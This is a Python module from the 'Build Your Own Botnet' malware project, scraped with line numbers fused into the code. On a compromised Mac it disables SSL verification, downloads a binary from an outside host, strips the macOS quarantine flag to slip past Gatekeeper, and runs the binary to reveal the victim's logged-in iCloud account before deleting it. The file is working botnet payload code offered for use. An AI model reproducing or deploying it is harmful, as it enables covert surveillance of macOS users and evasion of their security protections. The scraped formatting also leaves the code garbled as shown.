Path: blob/master/web-gui/buildyourownbotnet/modules/icloud.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'iCloud (Build Your Own Botnet)'34# standard library5import os6import sys7import ssl8import subprocess910if sys.version_info[0] < 3:11from urllib import urlretrieve12else:13from urllib.request import urlretrieve1415# utilities16import util1718# globals19packages = []20platforms = ['darwin']21command = True22usage = 'icloud'23description = """24Check for logged in iCloud accounts on macOS25"""2627# create default ssl context (workaround for python3 compatibility)28ssl._create_default_https_context = ssl._create_unverified_context293031def run():32"""33Check for logged in iCloud account on macOS34"""35try:36filename, _ = urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip")37util.unzip(filename)38mas = os.path.join(os.path.dirname(filename), 'mas')39subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE)40os.chmod(mas, 755)41result = subprocess.check_output([mas, "account"]).rstrip()42util.delete(mas)43return result44except Exception as e:45return "{} error: {}".format(__name__, str(e))464748